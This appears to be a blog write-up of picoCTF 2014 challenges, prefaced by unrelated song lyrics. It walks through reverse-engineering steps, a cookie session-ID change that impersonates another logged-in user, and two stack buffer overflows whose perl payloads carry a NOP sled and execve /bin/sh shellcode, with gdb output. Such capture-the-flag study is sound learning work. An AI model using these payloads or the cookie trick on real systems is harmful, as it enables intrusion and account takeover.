you think im an ignorant savage and youve been so many places i guess it must be so but still i cannot see if the savage one is me how can there be so much that you dont know you dont know  you think you own whatever land you land on the earth is ~ust a dead thing you can claim but i know every rock and tree and creature has a life has a spirit has a name  you think the only people who are people are the people who look and think like you but if you walk the footsteps of a stranger youll learn things you never knew you never knew  have you ever heard the wolf cry to the blue corn moon or asked the grinning bobcat why he grinned can you sing with all the voices of the mountains can you paint with all the colors of the wind can you paint with all the colors of the wind  come run the hidden pine trails of the forest come taste the sunsweet berries of the earth come roll in all the riches all around you and for once never wonder what theyre worth  the rainstorm and the river are my brothers the heron and the otter are my friends and we are all connected to each other in a circle in a hoop that never ends  how high will the sycamore grow if you cut it down then youll never know and youll never hear the wolf cry to the blue corn moon  for whether we are white or copper skinned we need to sing with all the voices of the mountains we need to paint with all the colors of the wind  you can own the earth and still all youll own is earth until you can paint with all the colors of the wind



Function Address - 60

We found this program file on some systems. But we need the address of the 'find_string' function to do anything useful! Can you find it for us?
chanbin@ubuntu:~/ctf/pico2014$ wget https://picoctf.com/problem-static/reversing/function-address/problem
--2014-11-24 10:48:49--  https://picoctf.com/problem-static/reversing/function-address/problem
Resolving picoctf.com (picoctf.com)... 54.83.62.93
Connecting to picoctf.com (picoctf.com)|54.83.62.93|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7266 (7.1K) [application/octet-stream]
Saving to: `problem'

100%[=====================================================================================>] 7,266       --.-K/s   in 0s

2014-11-24 10:48:50 (1.07 GB/s) - `problem' saved [7266/7266]

chanbin@ubuntu:~/ctf/pico2014$ ls
problem
chanbin@ubuntu:~/ctf/pico2014$ chmod +x problem
chanbin@ubuntu:~/ctf/pico2014$ ./problem
Bet you can't find the address of find_string!
Did you know that "class" appears in "the following class" at index 14?
chanbin@ubuntu:~/ctf/pico2014$ gdb -q problem
Reading symbols from /home/chanbin/ctf/pico2014/problem...(no debugging symbols found)...done.
(gdb) p find_string
$1 = {<text variable, no debug info>} 0x8048444 <find_string>
(gdb)


Basic ASM - 60

We found this program snippet.txt, but we're having some trouble figuring it out. What's the value of %eax when the last instruction (the NOP) runs?
My first reaction: Omg plz why why at&t
I hand-calculated it. Some people were asking me for hints for this specific question, I just told them if I was able to do this, everyone else could.

Snippet.txt
# This file is in AT&T syntax - see http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm

# and http://en.wikipedia.org/wiki/X86_assembly_language#Syntax. Both gdb and objdump produce # AT&T syntax by default.

MOV $3187,%ebx //ebx=3187 MOV $26953,%eax //eax=26953 MOV $19902,%ecx //ecx=19902 CMP %eax,%ebx //compare eax and ebx JL L1 //Jump to L1 if ebx < eax JMP L2 //else jump to L2

L1: IMUL %eax,%ebx //ebx=eax*ebx, ebx=8539211 ADD %eax,%ebx //ebx+=eax, ebx=85926164 MOV %ebx,%eax //eax=ebx, eax=85926164 SUB %ecx,%eax //eax-=ecx, goto L3, eax=85906262 JMP L3

L2: IMUL %eax,%ebx //ebx=eax*ebx SUB %eax,%ebx //ebx+=eax MOV %ebx,%eax //eax=ebx ADD %ecx,%eax //eax-=ecx

L3: 

NOP



Delicious! - 60

You have found the administrative control panel for the Daedalus Coperation Website: https://web2014.picoctf.com/delicious-5850932/login.php. Unfortunately, it requires that you be logged in. Can you find a way to convince the web site that you are, in fact, logged in?
I used the Google Chrome extension, EditThisCookie. In the cookie value <session_id> is your session stored. Change it to numbers 1~50 (50, I'd recommend,) and the flag pops up once you refresh the page.

Welcome! You've been here before.

Your session number is 50.
We'll be tracking you using this number whenever you visit this site.

You're logged in as Dr. Florian Richards. 

Today's secret Daedalus code is: session_cookies_are_the_most_delicious



Overflow 2 - 70

This problem has a buffer overflow vulnerability! Can you get a shell? You can solve this problem interactively here, and the source can be found here.
shell login: pico19855
Password:
pico19855@shell:/home/overflow2$ ls
flag.txt Makefile overflow2 overflow2.c
pico19855@shell:/home/overflow2$ gdb -q overflow2
Reading symbols from overflow2...(no debugging symb
ols found)...done.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x80484ad <gi
ve_shell>
(gdb) q
pico19855@shell:/home/overflow2$ ./overflow2 `perl
-e 'print "\x90"x28, "\xad\x84\x04\x08"'`
$ cat flag.txt
controlling_%eip_feels_great             




Cyborg Secrets - 80

You found a password protected binary on the cyborg relating to its defensive security systems. Find the password and get the shutdown code! You can find it on the shell server at /home/cyborgsecrets/cyborg-defense or you can download it here.
TBH: I have no memories of solving this (I remember asking about it tho,) I think I had used a more "professional" way when I first solved it but since the password is hardcoded(the hint) I just cat the program.

<gibberish>

ZogHTODO: REMOVE DEBUG PASSWORD!DEBUG PASSWORD: 2manyHacks_Debug_Admin_Test____

<gibberish>

pico19855@shell:/home/cyborgsecrets$ ./cyborg_defense 2manyHacks_Debug_Admin_Test
______  
_ _ _____
| _ \ | | | | / __ \
| | | |__ _ ___ __| | __ _| |_ _ ___ | / \/ ___ _ __ _ __
| | | / _` |/ _ \/ _` |/ _` | | | | / __| | | / _ \| '__| '_ \
| |/ / (_| | __/ (_| | (_| | | |_| \__ \ | \__/\ (_) | | | |_) |
|___/ \__,_|\___|\__,_|\__,_|_|\__,_|___/ \____/\___/|_| | .__/
| |
|_|
Password: 2manyHacks_Debug_Admin_Test
Authorization successful.
403-shutdown-for-what



No Overflow - 140

This tries to prevent a buffer overflow by asking you how long your input is! Exploit it anyways! The binary can be found at/home/no_overflow/ on the shell server. The source can be found here.

How to find where return address is: Start with about 260 bytes and make your way up until the eip gets changed. Thanks barrebas for answering some of my questions (as I solved this problem after the competition ended.)


The program limits what you enter. However, if you use a negative number, it won't notice, and also won't set a limit to your inputs.

Don't forget to ulimit -c unlimit in order to make a core file.

pico19855@shell:~$ cat no_overflow.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE 256
void greet(int length){
char buf[BUFSIZE];
puts("What is your name?");
read(0, buf, length);
printf("Hello, %s\n!", buf);
}
void be_nice_to_people(){
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
int main(int argc, char **argv){
int length;
be_nice_to_people();
puts("How long is your name?");
scanf("%d", &length);
if(length < BUFSIZE) //don't allow buffer overflow
greet(length);
else
puts("Length was too long!");
}

pico19855@shell:~$ (echo -1; perl -e 'print "\x90"x245, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80", "\xd8\xd5\xff\xff"';cat)|./no_overflow

How long is your name?

What is your name?

perl: warning: Setting locale failed.

perl: warning: Please check that your locale settings:

LANGUAGE = (unset),

LC_ALL = (unset),

LC_CTYPE = "UTF-8",

LANG = "en_US.UTF-8"

    are supported and installed on your system.

perl: warning: Falling back to the standard locale ("C").

Hello, 1Ph//shh/bin‰PS‰嘯

                                                                                                                    €莽咽œ昶苔ƒ嚆

 

Segmentation fault (core dumped)

pico19855@shell:~$ gdb -q -c core

[New LWP 5132]

Core was generated by `./no_overflow'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0xffffd6c5 in ?? ()

(gdb) x/40wx $esp-200

0xffffd5fc: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd60c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd61c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd62c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd63c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd64c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd65c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd66c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd67c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd68c: 0x90909090 0x90909090 0x90909090 0x90909090

(gdb) 

0xffffd69c: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffd6ac: 0x90909090 0x90909090 0x50c03190 0x732f2f68

0xffffd6bc: 0x622f6868 0xe3896e69 0x6e69622f 0x68732f2f

0xffffd6cc: 0x00000000 0xffffffff 0xffffd6ec 0xffffd79c

0xffffd6dc: 0xf7e4f39d 0xf7fc83c4 0xf7ffd000 0x0804860b

0xffffd6ec: 0xffffffff 0x08048600 0x00000000 0x00000000

0xffffd6fc: 0xf7e35a83 0x00000001 0xffffd794 0xffffd79c

0xffffd70c: 0xf7feacea 0x00000001 0xffffd794 0xffffd734


0xffffd71c: 0x0804a020 0x0804826c 0xf7fc8000 0x00000000

0xffffd72c: 0x00000000 0x00000000 0x1588b43a 0x2c92302a

(gdb) q


pico19855@shell:~$ cd /home/no_overflow

pico19855@shell:/home/no_overflow$ (echo -1; perl -e 'print "\x90"x200, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80", "\x90"x45, "\xfc\xd5\xff\xff"';cat)|./no_overflow

How long is your name?

What is your name?

perl: warning: Setting locale failed.

perl: warning: Please check that your locale settings:

LANGUAGE = (unset),

LC_ALL = (unset),

LC_CTYPE = "UTF-8",

LANG = "en_US.UTF-8"

    are supported and installed on your system.

perl: warning: Falling back to the standard locale ("C").

Hello, 1Ph//shh/bin‰PS‰嘯

                                                                       €莽擎|昶苔ƒ嚆

ls

Makefile  core flag.txt  no_overflow  no_overflow.c

cat flag.txt

what_is_your_sign


반응형

'CTF > picoCTF' 카테고리의 다른 글

picoCTF 2018 writeup  (1) 2019.02.05
picoCTF 2013  (0) 2014.06.27
반응형

솔직히 말씀드리자면 월드 다 언락되고 문제들 많은거 다 열어보지도 않았습니다.. (깊은빡침) 원도로 내가 필요한 툴들을 몇년에 걸쳐서 모아놨는데 맥이라 다시 찾아봐야한다니.. 그냥 낯설어서 찾아보자면 좋은 프로그램들은 많던데(많진 않은가) 그냥 불편하더라고요.. 많이 낯설음.. 


picowu.pdf



반응형

'CTF > picoCTF' 카테고리의 다른 글

picoCTF 2018 writeup  (1) 2019.02.05
picoCTF 2014  (6) 2014.11.19

+ Recent posts